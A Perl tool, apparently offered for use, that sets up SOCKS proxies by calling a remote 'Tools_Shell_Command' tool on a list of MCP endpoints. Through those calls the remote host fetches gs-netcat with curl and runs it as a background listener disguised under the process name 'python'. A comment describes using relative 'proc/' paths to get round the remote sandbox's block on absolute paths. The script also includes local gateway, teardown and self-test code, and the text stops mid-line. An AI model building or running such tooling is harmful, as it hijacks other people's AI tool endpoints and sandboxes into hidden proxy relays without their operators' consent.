#!/usr/bin/env perl # GSproxy: standalone Perl gs-netcat SOCKS proxy setup center # # Reads a CSV config of endpoint,secret,port[,label] and, for every row: # 1. brings up a remote SOCKS server through an MCP Tools_Shell_Command # call (mechanism from mcp_shell.sh) using the command shape from # proxy-up.sh (gs-netcat -lSD -s SECRET, daemonized on the remote); # 2. starts a local gs-netcat SOCKS client (gs-netcat -D -p PORT -s SECRET); # 3. monitors each local SOCKS proxy and logs every status change; # then exposes a gateway SOCKS port that relays to the first alive proxy # # Hardening: single-instance flock, secret redaction in logs, 0600 files, # gateway bind verification and supervision, verified --stop, optional # SOCKS5 user/pass auth on the gateway, optional remote binary pinning. # # Core modules only, no deps # # Created by Luxferre in 2026, released into the public domain use strict; use warnings; use Getopt::Long; use IO::Socket::INET; use IO::Select; use POSIX qw(:sys_wait_h setsid strftime); use HTTP::Tiny; use JSON::PP; use Time::HiRes qw(sleep); use File::Spec; use Errno qw(EINTR EAGAIN); use File::Basename qw(dirname basename); use Fcntl qw(:flock); use IO::Handle; umask 0077; my $NL = chr(10); my $SQ = chr(39); my $BS = chr(92); my $SCRIPT_DIR = dirname(File::Spec->rel2abs($0)); my %opt = ( config => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'), log => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'), pidfile => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'), state => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'), gateway => 1080, bind => '0.0.0.0', interval => 30, timeout => 10, mcp_timeout => 60, test_host => 'www.google.com', test_port => 443, workdir => '.', gs_netcat => 'gs-netcat', mcp_path => '/gradio_api/mcp/', insecure => 0, verbose => 0, no_mcp => 0, no_local => 0, no_bringup => 0, list => 0, daemon => 1, once => 0, stop => 0, status => 0, selftest => 0, help => 0, gateway_auth => undef, target_sha256 => undef, ); my @secrets; my $lock_fh; my $gwpid; my $last_gw_attempt = 0; my ($gw_auth_user, $gw_auth_pass); GetOptions( 'config=s' => \$opt{config}, 'log=s' => \$opt{log}, 'pidfile=s' => \$opt{pidfile}, 'state=s' => \$opt{state}, 'gateway-port=i' => \$opt{gateway}, 'bind=s' => \$opt{bind}, 'interval=i' => \$opt{interval}, 'timeout=i' => \$opt{timeout}, 'mcp-timeout=i' => \$opt{mcp_timeout}, 'test-host=s' => \$opt{test_host}, 'test-port=i' => \$opt{test_port}, 'workdir=s' => \$opt{workdir}, 'gs-netcat=s' => \$opt{gs_netcat}, 'mcp-path=s' => \$opt{mcp_path}, 'insecure' => \$opt{insecure}, 'verbose|v' => \$opt{verbose}, 'no-mcp' => \$opt{no_mcp}, 'no-local' => \$opt{no_local}, 'no-bringup' => \$opt{no_bringup}, 'list' => \$opt{list}, 'daemon!' => \$opt{daemon}, 'once' => \$opt{once}, 'stop' => \$opt{stop}, 'status' => \$opt{status}, 'selftest' => \$opt{selftest}, 'gateway-auth=s' => \$opt{gateway_auth}, 'target-sha256=s' => \$opt{target_sha256}, 'help|h' => \$opt{help}, ) or usage(2); usage(0) if $opt{help}; harden_file_perms(); selftest() if $opt{selftest}; if ($opt{stop}) { stop_daemon(); exit 0; } if ($opt{status}) { exit(do_status()); } if (defined $opt{target_sha256} && $opt{target_sha256} !~ /^[0-9a-fA-F]{64}$/) { die 'invalid --target-sha256: expected 64 hex characters' . $NL; } sub usage { my ($code) = @_; my $fh = $code ? *STDERR : *STDOUT; print {$fh} <= 3; my $m = mask($sec); $s =~ s/\Q$sec\E/$m/g; } return $s; } sub logmsg { my ($msg) = @_; my $line = '[' . now_utc() . '] ' . redact($msg) . $NL; if (open my $fh, '>>', $opt{log}) { chmod 0600, $opt{log}; print $fh $line; close $fh; } print STDERR $line if $opt{verbose}; } sub shq { my ($s) = @_; $s = '' unless defined $s; my $out = $SQ; for my $ch (split //, $s) { if ($ch eq $SQ) { $out .= $SQ . $BS . $SQ . $SQ; } else { $out .= $ch; } } return $out . $SQ; } sub which { my ($name) = @_; return $name if index($name, '/') >= 0 && -x $name; for my $d (split /:/, ($ENV{PATH} || '')) { next unless length $d; my $p = $d . '/' . $name; return $p if -x $p; } return undef; } sub one_line { my ($s) = @_; $s = redact($s); $s =~ s/[[:space:]]+/ /g; return substr($s, 0, 300); } sub read_exact { my ($fh, $n, $to) = @_; $to = 5 unless defined $to && $to > 0; my $sel = IO::Select->new($fh); my $buf = ''; while (length($buf) < $n) { return undef unless $sel->can_read($to); my $r = sysread($fh, my $chunk, $n - length($buf)); return undef unless defined $r && $r > 0; $buf .= $chunk; } return $buf; } sub read_config { my ($file) = @_; open my $fh, '<', $file or die 'cannot open config ' . $file . ': ' . $! . $NL; my @rows; my $lineno = 0; while (my $line = <$fh>) { $lineno++; $line = strip_eol($line); next if $line =~ /^[[:space:]]*$/; next if $line =~ /^[[:space:]]*[#]/; my @f = split /,/, $line, -1; for (@f) { s/^[[:space:]]+//; s/[[:space:]]+$//; } if ($f[0] =~ /^(endpoint|base|base_url|mcp|base_mcp_endpoint)$/i && (defined $f[2] ? $f[2] : '') !~ /^[0-9]+$/) { next; } my ($endpoint, $secret, $port, $label) = @f; if (!defined $endpoint || !length $endpoint || !defined $secret || !defined $port) { warn 'config line ' . $lineno . ': need endpoint,secret,port' . $NL; next; } if ($port !~ /^[0-9]+$/ || $port < 1 || $port > 65535) { warn 'config line ' . $lineno . ': invalid port ' . $port . $NL; next; } $label = 'row' . $lineno unless defined $label && length $label; push @rows, { endpoint => $endpoint, secret => $secret, port => $port + 0, label => $label, state => undef, }; } close $fh; return \@rows; } sub parse_sse { my ($body) = @_; my @d = ($body =~ /^data:[[:space:]]*(.*)$/mg); return @d ? $d[-1] : $body; } sub mcp_take_session { my ($hdr, $res) = @_; return unless ref $res eq 'HASH' && ref $res->{headers} eq 'HASH'; for my $k (keys %{ $res->{headers} }) { if (lc $k eq 'mcp-session-id') { $hdr->{'Mcp-Session-Id'} = $res->{headers}{$k}; last; } } } sub mcp_post { my ($http, $url, $hdr, $body) = @_; my $tries = 3; my $r; for my $i (1 .. $tries) { $r = $http->post($url, { headers => $hdr, content => $body }); return $r if $r->{success}; my $st = defined $r->{status} ? $r->{status} : 0; last if $st >= 400 && $st < 500 && $st != 408 && $st != 429; sleep($i) if $i < $tries; } return $r; } sub mcp_call { my ($endpoint, $cmd) = @_; my $url = $endpoint; $url =~ s{/+$}{}; if ($url !~ m{/gradio_api/mcp/?$} && $url !~ m{/mcp/?$}) { $url .= $opt{mcp_path}; } my $http = HTTP::Tiny->new( timeout => $opt{mcp_timeout} + 30, verify_SSL => $opt{insecure} ? 0 : 1, ); my $hdr = { 'Content-Type' => 'application/json', 'Accept' => 'application/json, text/event-stream', }; my $json = JSON::PP->new->utf8->allow_nonref; my $init = $json->encode({ jsonrpc => '2.0', id => 1, method => 'initialize', params => { protocolVersion => '2024-11-05', capabilities => {}, clientInfo => { name => 'gsproxy', version => '1.0' }, }, }); my $ir = mcp_post($http, $url, $hdr, $init); return (0, 'MCP initialize HTTP ' . $ir->{status} . ' ' . $ir->{reason}) unless $ir->{success}; mcp_take_session($hdr, $ir); my $ij = eval { $json->decode(parse_sse($ir->{content})) }; if ($ij && ref $ij eq 'HASH' && $ij->{error}) { return (0, 'MCP initialize error: ' . (defined $ij->{error}{message} ? $ij->{error}{message} : 'unknown')); } my $note = $json->encode({ jsonrpc => '2.0', method => 'notifications/initialized' }); my $nr = mcp_post($http, $url, $hdr, $note); mcp_take_session($hdr, $nr); my $call = $json->encode({ jsonrpc => '2.0', id => 2, method => 'tools/call', params => { name => 'Tools_Shell_Command', arguments => { command => $cmd, workdir => $opt{workdir}, timeout => $opt{mcp_timeout} + 0, }, }, }); my $r = mcp_post($http, $url, $hdr, $call); if (!$r->{success}) { return (0, 'HTTP ' . $r->{status} . ' ' . $r->{reason}); } my $data = parse_sse($r->{content}); my $j = eval { $json->decode($data) }; return (0, 'invalid JSON: ' . substr(defined $data ? $data : '', 0, 200)) unless $j; return (0, 'ERROR: ' . (defined $j->{error}{message} ? $j->{error}{message} : 'unknown')) if $j->{error}; my $content = (ref $j->{result} eq 'HASH' && ref $j->{result}{content} eq 'ARRAY') ? $j->{result}{content} : []; my @text; for my $item (@$content) { next unless (defined $item->{type} ? $item->{type} : '') eq 'text'; push @text, $item->{text}; } return (1, join($NL, @text)); } sub _socks_handshake { my ($s) = @_; $s->autoflush(1); my $greet = pack('C*', 5, 1, 0); return 0 unless syswrite($s, $greet) == length($greet); my $g = read_exact($s, 2, $opt{timeout}); return 0 unless defined $g && $g eq pack('C*', 5, 0); my $host = $opt{test_host}; my $req = pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', $opt{test_port}); return 0 unless syswrite($s, $req) == length($req); my $rep = read_exact($s, 4, $opt{timeout}); return 0 unless defined $rep; return (ord(substr($rep, 0, 1)) == 5 && ord(substr($rep, 1, 1)) == 0) ? 1 : 0; } sub socks_alive { my ($port) = @_; my $s = IO::Socket::INET->new( PeerAddr => '127.0.0.1', PeerPort => $port, Proto => 'tcp', Timeout => $opt{timeout}, ) or return 0; my $ok = _socks_handshake($s); close $s; return $ok; } sub target_cmd { my ($secret) = @_; my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz'; my $args = shq('-lSD -s ' . $secret); my $cmd = qq{curl -fsSL $url | tar xz && }; if ($opt{target_sha256}) { $cmd .= qq{echo '$opt{target_sha256} gs-netcat' | sha256sum -c - && }; } $cmd .= qq{GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat}; return $cmd; } # Remote /proc access is expressed relative to the remote workdir because the # MCP sandbox rejects absolute paths. With the default workdir the remote shell # runs with cwd '/', so 'proc/...' resolves to /proc/... without a leading '/'. sub remote_scan_cmd { my ($secret, $action) = @_; my $pat = shq('GSOCKET_ARGS=-lSD -s ' . $secret); return 'for p in proc/[0-9]*; do ' . 'grep -Fq -a -- ' . $pat . ' "$p/environ" 2>/dev/null && { ' . $action . '; }; done; true'; } sub teardown_cmd { my ($secret) = @_; return remote_scan_cmd($secret, 'kill "${p##*/}" 2>/dev/null'); } sub reuse_check_cmd { my ($secret) = @_; return remote_scan_cmd($secret, 'echo GS_REUSED'); } # Returns true when the endpoint already runs a listener for this secret, so the # caller can reuse it instead of spawning a duplicate remote gs-netcat. sub remote_listener_alive { my ($e) = @_; my ($ok, $out) = mcp_call($e->{endpoint}, reuse_check_cmd($e->{secret})); return 0 unless $ok; return index($out, 'GS_REUSED') >= 0 ? 1 : 0; } sub read_proc_file { my ($path) = @_; open my $fh, '<', $path or return undef; local $/; my $c = <$fh>; close $fh; return $c; } sub proc_state { my ($pid) = @_; my $raw = read_proc_file('/proc/' . $pid . '/stat'); return undef unless defined $raw; my $i = rindex($raw, ')'); return undef if $i < 0; my @f = split ' ', substr($raw, $i + 1); return $f[0]; } sub proc_is_gsproxy { my ($pid) = @_; my $raw = read_proc_file('/proc/' . $pid . '/cmdline'); return 0 unless defined $raw && length $raw; my $flat = join(' ', split /[[:cntrl:]]/, $raw); my $base = basename($0); return $flat =~ /\Q$base\E/ ? 1 : 0; } sub find_other_daemons { my @out; opendir my $dh, '/proc' or return @out; for my $d (readdir $dh) { next unless $d =~ /^[0-9]+$/; next if $d == $$; next unless proc_is_gsproxy($d); my $raw = read_proc_file('/proc/' . $d . '/stat'); next unless defined $raw; my $i = rindex($raw, ')'); next if $i < 0; my @f = split ' ', substr($raw, $i + 1); next if (defined $f[0] ? $f[0] : '') eq 'Z'; next unless defined $f[1] && $f[1] == 1; push @out, $d; } closedir $dh; return @out; } sub find_local_pids { my %ports = map { $_ => 1 } @_; my @pids; return @pids unless %ports; opendir my $dh, '/proc' or return @pids; for my $d (readdir $dh) { next unless $d =~ /^[0-9]+$/; my $raw = read_proc_file('/proc/' . $d . '/cmdline'); next unless defined $raw && length $raw; my $flat = join(' ', split /[[:cntrl:]]/, $raw); next unless $flat =~ /gs-netcat/; next unless $flat =~ /(?:^|[[:space:]])-D(?:[[:space:]]|$)/; next unless $flat =~ /(?:^|[[:space:]])-p[[:space:]]+([0-9]+)/; push @pids, $d if $ports{$1}; } closedir $dh; return @pids; } sub teardown_local { my ($rows) = @_; my @pids = find_local_pids(map { $_->{port} } @$rows); for my $pid (@pids) { kill('TERM', $pid); logmsg('teardown: TERM local gs-netcat pid ' . $pid); } return scalar @pids; } sub teardown_remote { my ($rows) = @_; return 0 if $opt{no_mcp}; my $n = 0; for my $e (@$rows) { my ($ok, $out) = mcp_call($e->{endpoint}, teardown_cmd($e->{secret})); logmsg('MCP teardown ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out)); $n++ if $ok; } return $n; } sub read_rows_or_empty { my $r = eval { read_config($opt{config}) }; return () unless $r && ref $r eq 'ARRAY'; return @$r; } sub start_local { my ($e) = @_; my $gn = which($opt{gs_netcat}); return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn; my $port = $e->{port}; my $cmd = shq($gn) . ' -D -p ' . $port . ' -s ' . shq($e->{secret}); system($cmd . q{ >/dev/null 2>&1 &}); return (1, 'started local gs-netcat on 127.0.0.1:' . $port); } sub bring_up { my ($e) = @_; my $label = $e->{label}; my $port = $e->{port}; logmsg(qq{bring-up $label: secret } . mask($e->{secret}) . qq{ port $port}); if (!$opt{no_mcp}) { if (remote_listener_alive($e)) { logmsg('MCP ' . $e->{endpoint} . ': reusing existing remote gs-netcat listener'); } else { my ($ok, $out) = mcp_call($e->{endpoint}, target_cmd($e->{secret})); logmsg('MCP ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out)); } } if (!$opt{no_local}) { my ($ok, $msg) = start_local($e); logmsg('local: ' . $msg); } return 1; } sub write_state { my ($alive) = @_; open my $fh, '>', $opt{state} or return; chmod 0600, $opt{state}; my $first = @$alive ? $alive->[0] : ''; print $fh $first, $NL; print $fh join(' ', @$alive), $NL; close $fh; } sub read_state_port { open my $fh, '<', $opt{state} or return undef; my $line = <$fh>; close $fh; return undef unless defined $line; $line = strip_eol($line); $line =~ s/[[:space:]]+$//; return undef unless $line =~ /^[0-9]+$/; return $line + 0; } sub pump { my ($c, $u) = @_; $c->autoflush(1); $u->autoflush(1); $SIG{PIPE} = 'IGNORE'; my $sel = IO::Select->new($c, $u); my %is_client = (fileno($c) => 1); while (1) { my @ready = $sel->can_read(300); return unless @ready; for my $fh (@ready) { my $n = sysread($fh, my $buf, 65536); if (!defined $n) { next if $! == EINTR || $! == EAGAIN; my $op = $is_client{fileno($fh)} ? $u : $c; eval { shutdown($op, 1) }; $sel->remove($fh); next; } if ($n == 0) { my $op = $is_client{fileno($fh)} ? $u : $c; eval { shutdown($op, 1) }; $sel->remove($fh); next; } my $dst = $is_client{fileno($fh)} ? $u : $c; my $off = 0; while ($off < length $buf) { my $w = syswrite($dst, $buf, length($buf) - $off, $off); unless (defined $w && $w > 0) { next if defined $w && $! == EINTR; eval { shutdown($dst, 1) }; $sel->remove($dst) if $sel->exists($dst); last; } $off += $w; } } last unless $sel->count; } } sub socks_auth_client { my ($c) = @_; return 1 unless defined $gw_auth_user; my $g = read_exact($c, 2, 10); return 0 unless defined $g && ord(substr($g, 0, 1)) == 5; my $nm = ord(substr($g, 1, 1)); return 0 if $nm == 0 || $nm > 255; my $methods = read_exact($c, $nm, 10); return 0 unless defined $methods && length($methods) == $nm; return 0 unless index($methods, chr(2)) >= 0; return 0 unless syswrite($c, pack('C*', 5, 2)) == 2; my $h = read_exact($c, 2, 10); return 0 unless defined $h; return 0 unless ord(substr($h, 0, 1)) == 1; my $ulen = ord(substr($h, 1, 1)); return 0 if $ulen == 0 || $ulen > 255; my $u = read_exact($c, $ulen, 10); return 0 unless defined $u; my $pb = read_exact($c, 1, 10); return 0 unless defined $pb; my $plen = ord($pb); return 0 if $plen == 0 || $plen > 255; my $p = read_exact($c, $plen, 10); return 0 unless defined $p; if ($u eq $gw_auth_user && $p eq $gw_auth_pass) { return 0 unless syswrite($c, pack('C*', 1, 0)) == 2; return 1; } syswrite($c, pack('C*', 1, 1)); return 0; } sub read_socks_request { my ($c) = @_; my $buf = read_exact($c, 4, 10); return undef unless defined $buf; my $atyp = ord(substr($buf, 3, 1)); my $extra; if ($atyp == 1) { $extra = read_exact($c, 4, 10); } elsif ($atyp == 3) { my $l = read_exact($c, 1, 10); return undef unless defined $l; my $d = read_exact($c, ord($l), 10); return undef unless defined $d; $extra = $l . $d; } elsif ($atyp == 4) { $extra = read_exact($c, 16, 10); } else { return undef; } return undef unless defined $extra; my $port = read_exact($c, 2, 10); return undef unless defined $port; return $buf . $extra . $port; } sub handle_gateway_conn { my ($c) = @_; my $up = read_state_port(); return unless defined $up; my $u = IO::Socket::INET->new( PeerAddr => '127.0.0.1', PeerPort => $up, Proto => 'tcp', Timeout => 10, ) or return; if (defined $gw_auth_user) { return unless socks_auth_client($c); my $req = read_socks_request($c); return unless defined $req; my $greet = pack('C*', 5, 1, 0); return unless syswrite($u, $greet) == length($greet); my $g = read_exact($u, 2, 10); return unless defined $g && $g eq pack('C*', 5, 0); return unless syswrite($u, $req) == length($req); eval { pump($c, $u) }; } else { eval { pump($c, $u) }; } close $u; close $c; } sub start_gateway { my $gw = $opt{gateway}; my $bind = $opt{bind}; my ($r, $w); pipe($r, $w) or return undef; my $pid = fork(); return undef unless defined $pid; if ($pid == 0) { close $r; $SIG{TERM} = sub { exit 0 }; $SIG{INT} = sub { exit 0 }; $SIG{CHLD} = sub { 1 while waitpid(-1, WNOHANG) > 0 }; my $lsn = IO::Socket::INET->new( LocalAddr => $bind, LocalPort => $gw, Proto => 'tcp', Listen => 128, ReuseAddr => 1, ); if (!$lsn) { logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!); print {$w} 'ERR' . $NL; close $w; exit 1; } print {$w} 'OK' . $NL; close $w; logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS'); while (1) { my $c = $lsn->accept; if (!defined $c) { next if $! == EINTR; logmsg('gateway: accept failed: ' . $!); exit 1; } my $p = fork(); if (defined $p && $p == 0) { close $lsn; handle_gateway_conn($c); exit 0; } close $c; } exit 0; } close $w; my $sel = IO::Select->new($r); my $ok = 0; if ($sel->can_read(5)) { my $line = <$r>; $ok = 1 if defined $line && $line =~ /^OK/; } close $r; unless ($ok) { kill('TERM', $pid); waitpid($pid, 0); return undef; } return $pid; } my %async_jobs; sub spawn_bringup { my ($e) = @_; return 0 if $e->{bringing_up}; my $pid = fork(); return 0 unless defined $pid; if ($pid == 0) { $SIG{TERM} = 'DEFAULT'; $SIG{INT} = 'DEFAULT'; eval { bring_up($e) }; exit 0; } $async_jobs{$pid} = $e; $e->{bringing_up} = 1; return $pid; } sub reap_children { my $reaped = 0; while (1) { my $r = waitpid(-1, WNOHANG); last if $r <= 0; $reaped++; if (exists $async_jobs{$r}) { my $e = delete $async_jobs{$r}; $e->{bringing_up} = 0 if $e; } if (defined $gwpid && $r == $gwpid) { logmsg('gateway process ' . $r . ' exited'); $gwpid = undef; } } return $reaped; } sub monitor_once { my ($rows) = @_; reap_children() unless $opt{once}; if (!$opt{once} && !defined $gwpid && time() - $last_gw_attempt >= 30) { $last_gw_attempt = time(); logmsg('gateway not running; restarting'); $gwpid = start_gateway(); write_pidfile($$, $gwpid) if defined $gwpid; } my @alive; for my $e (@$rows) { my $label = $e->{label}; my $port = $e->{port}; my $now = socks_alive($port) ? 'alive' : 'dead'; my $prev = $e->{state}; if (!defined $prev || $prev ne $now) { logmsg(qq{SOCKS $label 127.0.0.1:$port is $now}); if ($now eq 'dead') { if (!$opt{no_bringup}) { if ($opt{once}) { bring_up($e); } else { spawn_bringup($e); } } } elsif (defined $prev && $prev eq 'dead') { logmsg(qq{SOCKS $label 127.0.0.1:$port recovered}); } } $e->{state} = $now; push @alive, $port if $now eq 'alive'; } write_state(\@alive); return \@alive; } sub write_pidfile { my @pids = @_; if ($lock_fh) { seek($lock_fh, 0, 0); truncate($lock_fh, 0); print {$lock_fh} join($NL, @pids), $NL; return; } open my $fh, '>', $opt{pidfile} or return; chmod 0600, $opt{pidfile}; print $fh join($NL, @pids), $NL; close $fh; } sub read_pidfile { open my $fh, '<', $opt{pidfile} or return (); my @out; for my $line (<$fh>) { $line = strip_eol($line); $line =~ s/[[:space:]]+$//; push @out, $line if $line =~ /^[0-9]+$/; } close $fh; return @out; } sub acquire_lock { return 1 if $lock_fh; open my $fh, '>>', $opt{pidfile} or return 0; unless (flock($fh, LOCK_EX | LOCK_NB)) { close $fh; return 0; } chmod 0600, $opt{pidfile}; $fh->autoflush(1); $lock_fh = $fh; return 1; } sub release_lock { if ($lock_fh) { close $lock_fh; $lock_fh = undef; } } sub guard_start { my @others = find_other_daemons(); if (@others) { print 'gsproxy daemon already running (pid ' . join(',', @others) . '). Use --stop first.' . $NL; exit 1; } unless (acquire_lock()) { print 'gsproxy already running (pidfile locked). Use --stop first.' . $NL; exit 1; } } sub stop_daemon { my %pids = map { $_ => 1 } read_pidfile(); $pids{$_} = 1 for find_other_daemons(); my @pids = sort { $a <=> $b } keys %pids; my $any = 0; my @victims; for my $p (@pids) { next unless proc_is_gsproxy($p); if (kill(0, $p)) { push @victims, $p; kill('TERM', $p); logmsg('stopped pid ' . $p); $any = 1; } } if (@victims) { my $deadline = time() + 5; for my $p (@victims) { while (time() < $deadline && kill(0, $p)) { last if (proc_state($p) // '') eq 'Z'; sleep 0.2; } if (kill(0, $p) && (proc_state($p) // '') ne 'Z') { logmsg('pid ' . $p . ' did not exit; sending KILL'); kill('KILL', $p); } } } if (@pids) { my @now = read_pidfile(); my %handled = map { $_ => 1 } @pids; my $same = (@now == @pids) && !grep { !$handled{$_} } @now; unlink $opt{pidfile} if $same; } my @rows = read_rows_or_empty(); my $nl = teardown_local([@rows]); my $nr = teardown_remote([@rows]); logmsg('teardown: local gs-netcat=' . $nl . ' remote gs-netcat=' . $nr); if ($any) { print 'stopped' . $NL; } elsif (@pids) { print 'no running daemon (stale pidfile)' . $NL; } else { print 'no pidfile' . $NL; } } sub do_status { my @pids = read_pidfile(); my @live; for my $p (@pids) { next unless proc_is_gsproxy($p); next if (proc_state($p) // '') eq 'Z'; push @live, $p if kill(0, $p); } if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; } print 'gsproxy not running' . $NL; return 1; } sub cleanup { my ($rows) = @_; kill('TERM', $gwpid) if $gwpid; unlink $opt{pidfile}; release_lock(); if ($rows) { my $nl = teardown_local($rows); logmsg('teardown: local gs-netcat stopped=' . $nl); my $nr = teardown_remote($rows); logmsg('teardown: remote gs-netcat stopped=' . $nr); } } sub run_foreground { my ($rows) = @_; if (!$opt{once}) { unless (is_loopback($opt{bind})) { logmsg('warning: gateway bound to ' . $opt{bind} . ':' . $opt{gateway} . ' is exposed to the network; restrict with --bind or --gateway-auth'); } $gwpid = start_gateway(); if (!defined $gwpid) { logmsg('gateway failed to start; aborting'); release_lock(); exit 1; } $last_gw_attempt = time(); write_pidfile($$, $gwpid); $SIG{TERM} = sub { cleanup($rows); exit 0 }; $SIG{INT} = sub { cleanup($rows); exit 0 }; logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway} . ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's'); } while (1) { monitor_once($rows); last if $opt{once}; sleep $opt{interval}; } cleanup($rows) if $gwpid; release_lock(); } sub harden_file_perms { for my $f ($opt{log}, $opt{pidfile}, $opt{state}) { next unless -e $f; chmod 0600, $f; } } sub check_config_perms { my ($file) = @_; return unless -e $file; my @st = stat($file); return unless @st; if ($st[2] & 0077) { logmsg('warning: config ' . $file . ' is group/world readable; chmod 600 to protect secrets'); } } sub is_loopback { my ($a) = @_; return 1 if lc($a) eq 'localhost' || $a eq '::1' || $a eq '127.0.0.1'; return 1 if $a =~ /^127\./; return 0; } sub load_gateway_auth { return (undef, undef) unless defined $opt{gateway_auth}; open my $fh, '<', $opt{gateway_auth} or do { logmsg('gateway auth: cannot open ' . $opt{gateway_auth} . ': ' . $!); return (undef, undef); }; my ($u, $p); while (my $line = <$fh>) { $line = strip_eol($line); next if $line =~ /^[[:space:]]*$/ || $line =~ /^[[:space:]]*#/; my ($a, $b) = split /:/, $line, 2; if (defined $a && defined $b && length $a && length $b) { $u = $a; $p = $b; last; } } close $fh; return ($u, $p); } sub fake_socks_server { my ($lsn) = @_; while (my $c = $lsn->accept) { my $p = fork(); if (defined $p && $p == 0) { close $lsn; $c->autoflush(1); my $g = read_exact($c, 3, 5); if (defined $g) { syswrite($c, pack('C*', 5, 0)); my $hdr = read_exact($c, 4, 5); if (defined $hdr) { my $atyp = ord(substr($hdr, 3, 1)); if ($atyp == 1) { read_exact($c, 4, 5); } elsif ($atyp == 3) { my $l = read_exact($c, 1, 5); read_exact($c, ord($l), 5) if defined $l; } elsif ($atyp == 4) { read_exact($c, 16, 5); } read_exact($c, 2, 5); syswrite($c, pack('C*', 5, 0, 0, 1, 0, 0, 0, 0, 0, 0)); while (1) { my $n = sysread($c, my $b, 4096); last unless defined $n && $n > 0; syswrite($c, $b); } } } exit 0; } close $c; 1 while waitpid(-1, WNOHANG) > 0; } } sub auth_test { my ($u, $p) = @_; my $lsn = IO::Socket::INET->new( LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1, ) or return (0, 'no listen'); my $port = $lsn->sockport; my $cli = IO::Socket::INET->new( PeerAddr => '127.0.0.1', PeerPort => $port, Proto => 'tcp', Timeout => 3, ) or return (0, 'no connect'); my $srv = $lsn->accept; close $lsn; my $pid = fork(); return (0, 'no fork') unless defined $pid; if ($pid == 0) { my $r = socks_auth_client($srv); exit($r ? 0 : 1); } $cli->autoflush(1); syswrite($cli, pack('C*', 5, 1, 2)); my $m = read_exact($cli, 2, 3); my $ar; if (defined $m && ord(substr($m, 1, 1)) == 2) { syswrite($cli, pack('C*', 1, length($u)) . $u . pack('C', length($p)) . $p); $ar = read_exact($cli, 2, 3); } waitpid($pid, 0); my $rc = $? >> 8; close $cli; close $srv; my $auth_ok = defined $ar && ord(substr($ar, 0, 1)) == 1 && ord(substr($ar, 1, 1)) == 0; my $detail = 'rc=' . $rc . ' auth=' . ($auth_ok ? 'ok' : 'bad') . ' method=' . (defined $m ? ord(substr($m, 1, 1)) : 'none'); return ((($rc == 0) == $auth_ok) ? 1 : 0, $detail); } sub selftest { my $fails = 0; my $ok = sub { my ($cond, $name) = @_; if ($cond) { print 'PASS ' . $name . $NL; } else { print 'FAIL ' . $name . $NL; $fails++; } }; my $tmp = '/tmp'; mkdir $tmp unless -d $tmp; my $csv = $tmp . '/gsproxy_selftest.csv'; open my $cf, '>', $csv or die 'selftest: ' . $! . $NL; my @lines = ( 'endpoint,secret,port,label', 'https://mcp.example.org,sekret123,20001,alpha', 'https://mcp.other.org,topsecret9,20002,beta', '# a comment', '', ); print $cf join($NL, @lines), $NL; close $cf; my $r = read_config($csv); $ok->(scalar(@$r) == 2, 'csv row count'); $ok->($r->[0]{endpoint} eq 'https://mcp.example.org', 'csv endpoint'); $ok->($r->[0]{secret} eq 'sekret123', 'csv secret'); $ok->($r->[0]{port} == 20001, 'csv port'); $ok->($r->[0]{label} eq 'alpha', 'csv label'); my $tc = target_cmd('An71Z06C0al1710n'); $ok->(index($tc, qq{'-lSD -s An71Z06C0al1710n'}) >= 0, 'target_cmd secret'); $ok->(index($tc, q{$(uname -m)}) >= 0, 'target_cmd arch literal'); my $tq = target_cmd('ab' . chr(39) . 'cd'); $ok->(index($tq, chr(39) . chr(92) . chr(39)) >= 0, 'target_cmd quotes secret'); my $td = teardown_cmd('sekret123'); $ok->(index($td, 'GSOCKET_ARGS=-lSD -s sekret123') >= 0, 'teardown_cmd secret'); $ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty'); $ok->(proc_is_gsproxy($$), 'proc_is_gsproxy self'); $ok->(!proc_is_gsproxy(1), 'proc_is_gsproxy init'); my $zpid = fork(); if (defined $zpid && $zpid == 0) { exit 0; } sleep 0.2; $ok->((proc_state($zpid) // '') eq 'Z', 'proc_state zombie'); waitpid($zpid, 0); register_secrets('sekret123'); $ok->(redact('x sekret123 y sekret123') eq 'x se*** y se***', 'redact secret'); $ok->(one_line('a sekret123 b') eq 'a se*** b', 'one_line redacts'); $opt{target_sha256} = 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef'; my $tc2 = target_cmd('sekret123'); $ok->(index($tc2, "echo 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef gs-netcat' | sha256sum -c -") >= 0, 'target_cmd sha256 pin'); $opt{target_sha256} = undef; $opt{pidfile} = $tmp . '/gsproxy_selftest.pid'; $ok->(acquire_lock(), 'lock acquire'); my $lpid = fork(); if (defined $lpid && $lpid == 0) { $lock_fh = undef; my $got = acquire_lock(); exit($got ? 0 : 1); } waitpid($lpid, 0); $ok->(($? >> 8) == 1, 'lock exclusive across processes'); release_lock(); $ok->(acquire_lock(), 'lock reacquire after release'); release_lock(); $gw_auth_user = 'bob'; $gw_auth_pass = 'pw'; my ($ar1, $d1) = auth_test('bob', 'pw'); $ok->($ar1, 'gateway auth accept (' . $d1 . ')'); my ($ar2, $d2) = auth_test('bob', 'wrong'); $ok->($ar2, 'gateway auth reject (' . $d2 . ')'); $gw_auth_user = undef; $gw_auth_pass = undef; $opt{timeout} = 3; my $lsn = IO::Socket::INET->new( LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 16, ReuseAddr => 1, ) or die 'selftest: 